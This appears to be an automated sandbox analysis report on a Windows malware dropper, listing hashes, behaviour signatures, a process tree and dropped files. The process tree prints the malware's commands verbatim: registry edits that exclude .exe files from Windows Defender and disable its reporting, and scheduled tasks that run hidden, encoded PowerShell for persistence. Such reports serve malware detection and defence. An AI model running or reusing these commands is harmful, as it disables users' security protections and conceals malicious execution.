Analysis

  • max time kernel
    143s
  • max time network
    112s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    23-11-2022 15:20

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    d7772af55ad86fd7e0d80b329232d4a0

  • SHA1

    91bd1a0568fe8f276fd60049412672cb349cd73b

  • SHA256

    a30898a315160935891eaf5dc01eac7086e6a72e14dfb9f7be43835261f87290

  • SHA512

    d2f4ec0885da71f43b2758d0b21266b53a30014e8d4775c3181d834ac3fb9f5b8acc6a0f549c52e4f40ecfadd1f5b6b70bdac6364492a68e007b6a4ccdbc2e71

  • SSDEEP

    196608:91OaKOEjiU9l5UOA0yU/MmtNSM3f7LoVf/Ui2g6n:3Oa8Hl5tA0yTmW8Lt8G

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1336
    • C:\Users\Admin\AppData\Local\Temp\7zSA120.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:956
      • C:\Users\Admin\AppData\Local\Temp\7zSA7A6.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Loads dropped DLL
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1012
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1092
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1848
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1244
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1752
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1560
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:396
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:1628
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:1636
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gupADNOOs" /SC once /ST 05:19:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:820
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gupADNOOs"
                  4⤵
                    PID:964
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gupADNOOs"
                    4⤵
                      PID:1384
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bPisEBnRwoxYOmuHrm" /SC once /ST 16:23:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\otkstzt.exe\" mF /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:800
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {04173395-3184-465B-8FCD-D76FF3C8F143} S-1-5-21-575491160-2295418218-1540667289-1000:VZODHOJJ\Admin:Interactive:[1]
                1⤵
                  PID:1768
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2012
                    • C:\Windows\system32\gpupdate.exe
                      "C:\Windows\system32\gpupdate.exe" /force
                      3⤵
                        PID:2024
                  • C:\Windows\system32\gpscript.exe
                    gpscript.exe /RefreshSystemParam
                    1⤵
                      PID:2040
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {ED8EFF79-E7EB-4008-8A7F-CEFBCCFB670F} S-1-5-18:NT AUTHORITY\System:Service:
                      1⤵
                        PID:376
                        • C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\otkstzt.exe
                          C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\otkstzt.exe mF /site_id 525403 /S
                          2⤵
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          PID:1316
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /CREATE /TN "gQMURnDWs" /SC once /ST 09:30:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                            3⤵
                            • Creates scheduled task(s)
                            PID:1596

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Temp\7zSA120.tmp\Install.exe

                        Filesize

                        6.3MB

                        MD5

                        74dc860256858b61c0170b9af62c3a83

                        SHA1

                        8d499018f6467a2f7c4f78ea9915e3774f640fbd

                        SHA256

                        330eb0a24c02d4dcee908a2c3274b113427e40d792f2bca729b54a9ea5c48f8a

                        SHA512

                        56cc2aef2db9f3e1140a28cf33bddbb2e5d3fc5ea014b39caac42d703e884477b7f4fd5469fa72221e7ec951d5f9a4af5698ddb79bcb9b460553d9c4b4cbd625

                      • C:\Users\Admin\AppData\Local\Temp\7zSA120.tmp\Install.exe

                        Filesize

                        6.3MB

                        MD5

                        74dc860256858b61c0170b9af62c3a83

                        SHA1

                        8d499018f6467a2f7c4f78ea9915e3774f640fbd

                        SHA256

                        330eb0a24c02d4dcee908a2c3274b113427e40d792f2bca729b54a9ea5c48f8a

                        SHA512

                        56cc2aef2db9f3e1140a28cf33bddbb2e5d3fc5ea014b39caac42d703e884477b7f4fd5469fa72221e7ec951d5f9a4af5698ddb79bcb9b460553d9c4b4cbd625

                      • C:\Users\Admin\AppData\Local\Temp\7zSA7A6.tmp\Install.exe

                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • C:\Users\Admin\AppData\Local\Temp\7zSA7A6.tmp\Install.exe

                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\otkstzt.exe

                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\otkstzt.exe

                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • C:\Windows\system32\GroupPolicy\gpt.ini

                        Filesize

                        268B

                        MD5

                        a62ce44a33f1c05fc2d340ea0ca118a4

                        SHA1

                        1f03eb4716015528f3de7f7674532c1345b2717d

                        SHA256

                        9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                        SHA512

                        9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                      • \Users\Admin\AppData\Local\Temp\7zSA120.tmp\Install.exe

                        Filesize

                        6.3MB

                        MD5

                        74dc860256858b61c0170b9af62c3a83

                        SHA1

                        8d499018f6467a2f7c4f78ea9915e3774f640fbd

                        SHA256

                        330eb0a24c02d4dcee908a2c3274b113427e40d792f2bca729b54a9ea5c48f8a

                        SHA512

                        56cc2aef2db9f3e1140a28cf33bddbb2e5d3fc5ea014b39caac42d703e884477b7f4fd5469fa72221e7ec951d5f9a4af5698ddb79bcb9b460553d9c4b4cbd625

                      • \Users\Admin\AppData\Local\Temp\7zSA120.tmp\Install.exe

                        Filesize

                        6.3MB

                        MD5

                        74dc860256858b61c0170b9af62c3a83

                        SHA1

                        8d499018f6467a2f7c4f78ea9915e3774f640fbd

                        SHA256

                        330eb0a24c02d4dcee908a2c3274b113427e40d792f2bca729b54a9ea5c48f8a

                        SHA512

                        56cc2aef2db9f3e1140a28cf33bddbb2e5d3fc5ea014b39caac42d703e884477b7f4fd5469fa72221e7ec951d5f9a4af5698ddb79bcb9b460553d9c4b4cbd625

                      • \Users\Admin\AppData\Local\Temp\7zSA120.tmp\Install.exe

                        Filesize

                        6.3MB

                        MD5

                        74dc860256858b61c0170b9af62c3a83

                        SHA1

                        8d499018f6467a2f7c4f78ea9915e3774f640fbd

                        SHA256

                        330eb0a24c02d4dcee908a2c3274b113427e40d792f2bca729b54a9ea5c48f8a

                        SHA512

                        56cc2aef2db9f3e1140a28cf33bddbb2e5d3fc5ea014b39caac42d703e884477b7f4fd5469fa72221e7ec951d5f9a4af5698ddb79bcb9b460553d9c4b4cbd625

                      • \Users\Admin\AppData\Local\Temp\7zSA120.tmp\Install.exe

                        Filesize

                        6.3MB

                        MD5

                        74dc860256858b61c0170b9af62c3a83

                        SHA1

                        8d499018f6467a2f7c4f78ea9915e3774f640fbd

                        SHA256

                        330eb0a24c02d4dcee908a2c3274b113427e40d792f2bca729b54a9ea5c48f8a

                        SHA512

                        56cc2aef2db9f3e1140a28cf33bddbb2e5d3fc5ea014b39caac42d703e884477b7f4fd5469fa72221e7ec951d5f9a4af5698ddb79bcb9b460553d9c4b4cbd625

                      • \Users\Admin\AppData\Local\Temp\7zSA7A6.tmp\Install.exe

                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • \Users\Admin\AppData\Local\Temp\7zSA7A6.tmp\Install.exe

                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • \Users\Admin\AppData\Local\Temp\7zSA7A6.tmp\Install.exe

                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • \Users\Admin\AppData\Local\Temp\7zSA7A6.tmp\Install.exe

                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • memory/396-80-0x0000000000000000-mapping.dmp

                      • memory/800-104-0x0000000000000000-mapping.dmp

                      • memory/820-90-0x0000000000000000-mapping.dmp

                      • memory/956-56-0x0000000000000000-mapping.dmp

                      • memory/964-92-0x0000000000000000-mapping.dmp

                      • memory/1012-71-0x0000000010000000-0x0000000010D2B000-memory.dmp

                        Filesize

                        13.2MB

                      • memory/1012-64-0x0000000000000000-mapping.dmp

                      • memory/1092-74-0x0000000000000000-mapping.dmp

                      • memory/1244-82-0x0000000000000000-mapping.dmp

                      • memory/1316-107-0x0000000000000000-mapping.dmp

                      • memory/1336-54-0x0000000075AE1000-0x0000000075AE3000-memory.dmp

                        Filesize

                        8KB

                      • memory/1384-102-0x0000000000000000-mapping.dmp

                      • memory/1560-75-0x0000000000000000-mapping.dmp

                      • memory/1596-114-0x0000000000000000-mapping.dmp

                      • memory/1628-84-0x0000000000000000-mapping.dmp

                      • memory/1636-88-0x0000000000000000-mapping.dmp

                      • memory/1752-85-0x0000000000000000-mapping.dmp

                      • memory/1848-77-0x0000000000000000-mapping.dmp

                      • memory/2012-96-0x000007FEF3690000-0x000007FEF40B3000-memory.dmp

                        Filesize

                        10.1MB

                      • memory/2012-101-0x000000000251B000-0x000000000253A000-memory.dmp

                        Filesize

                        124KB

                      • memory/2012-100-0x0000000002514000-0x0000000002517000-memory.dmp

                        Filesize

                        12KB

                      • memory/2012-97-0x000007FEF2B30000-0x000007FEF368D000-memory.dmp

                        Filesize

                        11.4MB

                      • memory/2012-98-0x0000000002514000-0x0000000002517000-memory.dmp

                        Filesize

                        12KB

                      • memory/2012-95-0x000007FEFBA61000-0x000007FEFBA63000-memory.dmp

                        Filesize

                        8KB

                      • memory/2012-94-0x0000000000000000-mapping.dmp

                      • memory/2024-99-0x0000000000000000-mapping.dmp